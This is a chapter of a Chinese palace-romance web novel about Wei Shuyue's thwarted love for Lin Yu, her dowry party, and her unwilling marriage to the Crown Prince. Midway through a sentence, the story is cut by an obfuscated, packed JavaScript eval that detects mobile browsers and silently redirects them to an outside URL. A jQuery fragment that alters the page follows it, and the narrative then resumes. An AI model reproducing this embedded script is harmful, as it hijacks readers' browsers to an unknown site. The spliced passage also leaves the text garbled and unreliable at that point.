凌厉的一鞭如晴空霹雳般当头罩下,宋观砚躲之不及,被劈落马下,魏舒月翩然追击而来,他咬牙就地一滚,那一鞭恰好打在他先前落地的位置,激起一地尘土飞扬。
“阿月住手!”
林羽快一步赶到,急忙拦住了魏舒月。
“林哥哥?”魏舒月不解地看着他,“你知不知道他做了什么?”
“魏舒月,劝你不要狗拿耗子多管闲事。”
这时,宋观砚自地上起身,“呸”的一声吐出了一口污血。
魏舒月冷笑一声:“这闲事我还就管定了。”
她朝空中“啪”的一下打了一鞭,宋观砚被激起了火气,毅然迎击而上。
林羽见状,想也不想就加入了战局,二人联手,几个来回就将宋观砚身上打得皮开肉绽。
“让你欺负安姐姐。”
魏舒月一面斥责,一面下手更重,将宋观砚打得连连败退。
直到对方狼狈地摔在地上再也起不来,魏舒月仍旧不愿收手。
“阿月。”林羽不得不握住她皓腕,对她摇摇头。
“姓宋的,以后你最好躲着本小姐,不然我见你一次打你一次。”
魏舒月气愤难消,抑抑地收住马鞭,朝林羽扫了一眼,示意他跟上。
二人策马离去。
听从林羽的话守在原地的安琇玉和顾家姐妹也终于等来了卓阑等人。
众人汇合之后,谁也没有去问有关于宋观砚的事。
魏舒月有许多话要跟林羽说,于是背着众人和林羽走到了河边。
流水潺潺,草长莺莺。
两道身影迎着淡薄的日光而立,影子拉得纤长。
久久无语。
“林哥哥。”
“阿月。”
二人异口同声,两两相望的眼里皆是诉不尽的愁绪。
“你先说。”
又是同样的一句话,惹得魏舒月“噗嗤”一声笑出来。
“林哥哥…”笑过后随之而来的是无尽的落寞。
“是我负了你,往后…希望你能找到两情相悦的女子相伴一生。”
她要用尽所有力气才能把这句话说完整。
“阿月…”他口中轻唤她名儿,抬手为她拭去眼角的泪。
“既然无缘就放下罢,我只希望你一生顺遂,快乐无忧。”
——*——
夜色如琢,清风徐徐。
魏舒月倚着窗台发呆,她已然忘了自己是如何回来的。
只觉得身心俱疲,精神恍惚。
林羽说的那番话一直在她脑子里盘旋,以至于她整个人浑浑噩噩地恍若灵魂出了窍。
“小姐,夜色深了,快歇息去罢。”兰馨悄然走到她身后,她也无知无觉。
“好。”
她默默地走回床榻。
这一夜,她彻夜难眠。
到了翌日,还是兰馨唤她,她才从睡梦中醒来。
“小姐,祝嬷嬷已经在等着您了。”
这么早就已经在等她?怕不是又要耍什么幺蛾子?
她起来洗漱,用过朝食后,去了听雨阁。
祝嬷嬷今儿倒是没有因她姗姗来迟而板脸,反倒满面红光,令人匪夷所思。
“小姐大喜。”
魏舒月冷淡地睇她一眼,沉默不言。
祝嬷嬷也没与她计较,掏出一本册子放到了魏舒月面前的书案上。
“嬷嬷今儿又要教我什么?”魏舒月有些好奇地翻开册子。
里面两个小人缠绵的画面让她霎时脸红到了耳根子。
“啪”的一下,她将册子合上,羞恼地起身就要走。
“小姐要去哪儿?”
祝嬷嬷急忙拉住她胳膊。
“老不正经。”魏舒月愤愤然地低斥一声。
祝嬷嬷一张老脸涨成了猪肝色,紧紧拽着魏舒月不放手。
“这是宫里的规矩,可不是老奴自作主张,小姐不要血口喷人。”
魏舒月脸色变了又变,想要甩开祝嬷嬷,又唯恐她老胳膊老腿的经不起她一摔,忍了又忍才复又坐回去。
“皇后娘娘说了,小姐入宫后若是半年还没能怀上皇嗣,东宫就要接纳新人。”
听到这话,魏舒月冷冷地抬眸凝她。
祝嬷嬷犹自未察一般,自顾自地往下说着:“所以小姐还是好好想想要如何笼络殿下的心?”
“就凭这?”魏舒月哂笑着将书案上的册子丢到祝嬷嬷脚步。
祝嬷嬷脸上愀然色变,她弯腰将册子捡起来,沉着脸对魏舒月说教:“小姐身为太子妃,理应事事以殿下为主,在外为贤妻,在内嘛,自然是要尽心侍奉好殿下。”
说罢,她睨向魏舒月的眼神带了几分讥诮和不满,“小姐命好,殿下一向洁身自好,及冠之年身边还未曾有过通房。”
一番话说得魏舒月面红耳赤,也不知是羞的还是气的?
“越是这样,小姐就越要取悦殿下,可不能在洞房花烛时让殿下扫兴。”她如此这般谆谆告诫。
听在魏舒月耳里只觉得难以忍受,她“嚯”的一下站起身。
“我做不到。”
撂下四个字,她疾步走开,头也没回地下楼而去,由着祝嬷嬷在身后如何唤她也不曾停下脚步。
——*——
添妆之日。
因她是嫁入东宫,整个长安城里,认识的不认识的贵女都会来给她添妆,以示敬意和沾沾喜气。
当先到的是安琇玉。
自上次魏舒月替她狠狠地揍了宋观砚一顿后,她奇迹般的从那件事里彻底解脱出来。
到了清风院,她让紫竹将带来的一套头面交给了兰馨,拉着怏怏不乐的魏舒月走到窗边的贵妃榻上坐下。
“阿月,我寻到了一件特别有意义的事情来做。”
见她神采奕奕,魏舒月也为之感染到了几分喜悦。
“是什么?”她好奇地询问。
“在善义堂教孩子们读书写字。”
安琇玉兴高采烈地跟她讲述自己是如何在低谷期遇见了一位善良的大夫,这位大夫专门办了一个善义堂收容那些无家可归的孩子。
她初时去看了那些可怜的孩子只是送了些衣食,可见了孩子们天真的笑脸,她心里就再也放不下了。
魏舒月默默地听着,见她可以做些自己喜欢的事,不禁有些羡慕。
直到兰馨又领了人进来,二人才结束谈话。
来的贵女中,唯有冯纯兮让她微微动容。
她没有忘记皇后娘娘与她说的那番话。
太子喜欢的是她吗?
她似乎从未听太子承认过。
“魏小姐,恭喜你了。”
冯纯兮一如既往地礼仪周到,大家闺秀的风范让人忍不住侧目。
“多谢冯小姐。”魏舒月故作平静地望向她。
“师姐,你快来!”
随着一声咋咋呼呼,一道身影风一般急窜而入,携了魏舒月的手就往屋外跑。
“蓁蓁?”魏舒月莫可奈何,只能把前来添妆的贵女托付给安琇玉帮忙照料。
看董蓁蓁着急忙慌的样子,魏舒月还以为是出了什么大事。
直到跟她来到了花园里,才得知他们又玩上了投壶。
“师姐,你快给他们点颜色瞧瞧!”董蓁蓁双手环胸,轻抬下颌,极是挑衅地看着高彦鸣等人。
“哟,这是找来帮手了?”
魏明朝笑呵呵地说道。
“阿月,蓁蓁说你投壶投得好,你可要为我们女子争光。”程意娩难得笑容这般爽朗开怀。
看见哥哥嫂嫂们都在,场外还有人围观,魏舒月粲然一笑,“我尽力一试。”
“姑姑,我也要加入你们。”
魏子牧“噔噔噔”地朝魏舒月跑了过来。
魏舒月连忙弯腰将他抱了起来。
“魏子牧,你可是男子汉,怎么能加入女子组?”魏明朝故意逗弄侄儿。
“叔叔坏!”魏子牧捏着小拳头,气
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297115|158145||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得直皱鼻子。
“子牧最喜欢姑姑了。”
听着这童言童语,大伙儿都笑了起来。
“你姑姑很快就要离家了,以后再也见不着了。”
听他说得越来越不像话,黄若涟无奈地拍了下他胳膊,魏明朝笑呵呵地攥住妻子的手。
当着众人的面,黄若涟微不可察地耳圈红了。
“真的吗?”魏子牧询问姑姑,迷茫的大眼睛还不懂什么是分别,眼里就已经蓄了泪。
“姑姑真的要离开家吗?”
“别听你叔叔瞎说。”魏舒月不得不违心骗了他。
气氛颇有些沉重,还是高彦鸣有眼色,立即嚷嚷起来:“刚刚轮到谁了?快快,让你们见识下我师姐的厉害之处。”
“你到底是哪头的?”魏明朝故作不服气的样子。
高彦鸣哈哈一笑:“我永远是师姐最喜欢的小师弟。”
“阿月,为兄来与你比比。”一向沉稳的魏世衡这时也来了兴致。
“好啊。”魏舒月放下侄儿,笑着回应兄长。
这时,安琇玉也领着一众贵女往这边走来,众人围观魏家兄妹的投壶大战。
“师姐加油!”
董蓁蓁和高彦鸣异口同声为魏舒月呐喊助威。
魏舒月面上淡定,接了卓阑递来的三支箭,瞧准方位向壶口掷去。
欢声笑语在花园里传扬开来。
——*——
这一天,魏府特地请来了戏班子,一直唱到了筵席结束方止。
魏舒月喝醉了。
在兰馨将林羽送来的贺礼给她之后,她又哭又笑,让人见了都止不住心酸。
她不知道自己到底喝了多少杯?
也不知道自己是怎么回到的寝屋?
恍恍惚惚,迷迷糊糊之际,只依稀记得,十里红妆,太子李驰带着仪仗队到魏府亲迎。
人人皆向她道贺。
眼前掠过一张一张欢快喜悦的笑脸,偏偏没有一张是她心心念念的那个人。
她一颗心就这么毫无征兆地沉到了谷底。
她想要逃脱这囚笼。
转眼见到的是母亲和嫂嫂焦灼担忧的脸庞,一声声劝她为了家族要忍耐、要认命。
是了,皇帝赐婚,她就算再不乐意,也不能抗旨。
她泪流满面,匆匆梳洗,上了轿辇。
耳畔是震天动地的爆竹声声,余光中,她似乎看见了林羽的身影。
林哥哥!
她张口欲喊,声音却湮灭在了爆竹声里。
入了东宫,太子见她眼圈红红,想要安慰她,却让她一记冷眼给逼得止步。
最终,二人发生龃龉,不欢而散。
洞房花烛,她没有让太子入她床帏,等待她的会是什么?
心灰意冷的她已经懒得去想。
“太子妃?”
是谁在唤她?
“太子妃醒醒…”
她挣扎着睁开眼,映入眼帘的是催雨焦虑的一张脸。
她犹自像是在梦里,怔忡了半晌,眸光略移,见到寝屋里的陈设,她猛地吃了一惊,方才醒悟过来昨日是她和李驰大婚之日。
如今,她所处的是宜春宫。
“太子妃终于醒了。”催雨的声调落入她耳里,莫名察觉到几分怪异。
“兰馨和青梅呢?”她冷淡地开口。
催雨抿了抿唇,“她们去给太子妃备水洗漱呢。”
她暗暗打量了魏舒月几眼,昨夜她把太子撵走,东宫上下都知悉,若不是太子命人不许往外传,她定是要到皇后娘娘跟前告状的。
魏舒月到底何德何能让太子这般维护爱惜?催雨实在费解。
“你下去罢,以后没有我的命令不许进殿里来。”魏舒月才没有心思去猜她是怎么想的,下榻趿鞋往梳妆镜台前走去。
催雨站着未动,“奴婢是皇后娘娘派来太子妃身边伺候的。”
魏舒月回眸看她,“那你是听我的还是听皇后娘娘的?”